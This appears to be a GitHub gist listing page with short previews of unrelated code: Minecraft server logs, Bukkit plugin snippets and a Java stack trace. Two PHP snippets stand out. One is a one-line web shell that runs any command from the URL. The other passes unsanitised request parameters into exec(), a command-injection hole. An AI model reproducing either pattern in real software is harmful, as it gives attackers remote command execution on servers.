This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
package test; | |
import java.io.BufferedReader; | |
import java.io.IOException; | |
import java.io.InputStream; | |
import java.io.InputStreamReader; | |
import java.net.MalformedURLException; | |
import java.net.URL; | |
import java.util.Map; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
[00:38:58] [Server thread/INFO]: Starting minecraft server version 1.7.9 | |
[00:38:58] [Server thread/WARN]: To start the server with more ram, launch it as "java -Xmx1024M -Xms1024M -jar minecraft_server.jar" | |
[00:38:58] [Server thread/INFO]: Loading properties | |
[00:38:59] [Server thread/INFO]: Default game type: CREATIVE | |
[00:38:59] [Server thread/INFO]: Generating keypair | |
[00:38:59] [Server thread/INFO]: Starting Minecraft server on *:25565 | |
[00:39:00] [Server thread/INFO]: This server is running CraftBukkit version git-Bukkit-1.7.2-R0.3-59-g6efeddf-b3074jnks (MC: 1.7.9) (Implementing API version 1.7.9-R0.1-SNAPSHOT) | |
[00:39:00] [Server thread/INFO]: [BattleMapTester] Loading BattleMapTester v0.1 | |
[00:39:00] [Server thread/INFO]: [MapsPlugin] Loading MapsPlugin v1.0 | |
[00:39:00] [Server thread/WARN]: **** SERVER IS RUNNING IN OFFLINE/INSECURE MODE! |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
package com.oresomecraft.BattleMaps.maps; | |
import net.minecraft.server.v1_6_R2.Enchantment; | |
import org.bukkit.*; | |
import org.bukkit.event.Listener; | |
import org.bukkit.inventory.*; | |
import org.bukkit.inventory.meta.ItemMeta; | |
import org.bukkit.potion.*; | |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
@EventHandler | |
public void onBlockBreak(BlockBreakEvent event) { | |
Block block = event.getBlock(); | |
byte data = block.getData(); | |
Block blocks = block.getRelative(0, 1, 0); | |
while (block.getType().equals(blocks.getType()) && data == blocks.getData()) { | |
if (event.getPlayer().getGameMode().equals(GameMode.CREATIVE)) { | |
blocks.setType(Material.AIR); | |
} else { |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Bukkit.getScheduler().runTaskLaterAsynchronously(this, new Runnable() { | |
@Override | |
public void run() { | |
p.sendMessage("Your message was cancelled because the following amount of fucks were given by the server: " + fucksGiven); | |
} | |
}, 180*20L); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
public static List<Location> sphere(Location l, double radius){ | |
return sphere(l, radius, 64); | |
} | |
public static List<Location> sphere(Location l, double radius, int iterations){ | |
List<Location> list = new ArrayList<>(); | |
for(int i = 0; i < iterations; i++){ |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
if (filter_var($_GET["url"], FILTER_VALIDATE_URL) === FALSE) { | |
die('Not a valid URL'); | |
} | |
if ($_GET["q"] == "h" || $_GET["q"] == "l") { | |
exec('java -jar runytd2.jar -'.$_GET["q"].' '.$_GET["url"]); | |
} else { | |
exec('java -jar runytd2.jar -l '.$_GET["url"]); | |
} | |
header('Location: http://vps.huskehhh.com/dl/ScruffyRules/YouTubeDownloader/'); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
shell_exec($_GET["cmd"]); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Exception in thread "AWT-EventQueue-1" java.lang.NullPointerException | |
at com.ionprogramming.ld30.TitleScreen.render(TitleScreen.java:78) | |
at com.ionprogramming.ld30.LD30.paint(LD30.java:56) | |
at com.ionprogramming.ld30.LD30.update(LD30.java:72) | |
at sun.awt.RepaintArea.updateComponent(Unknown Source) | |
at sun.awt.RepaintArea.paint(Unknown Source) | |
at sun.awt.windows.WComponentPeer.handleEvent(Unknown Source) | |
at java.awt.Component.dispatchEventImpl(Unknown Source) | |
at java.awt.Container.dispatchEventImpl(Unknown Source) | |
at java.awt.Component.dispatchEvent(Unknown Source) |
OlderNewer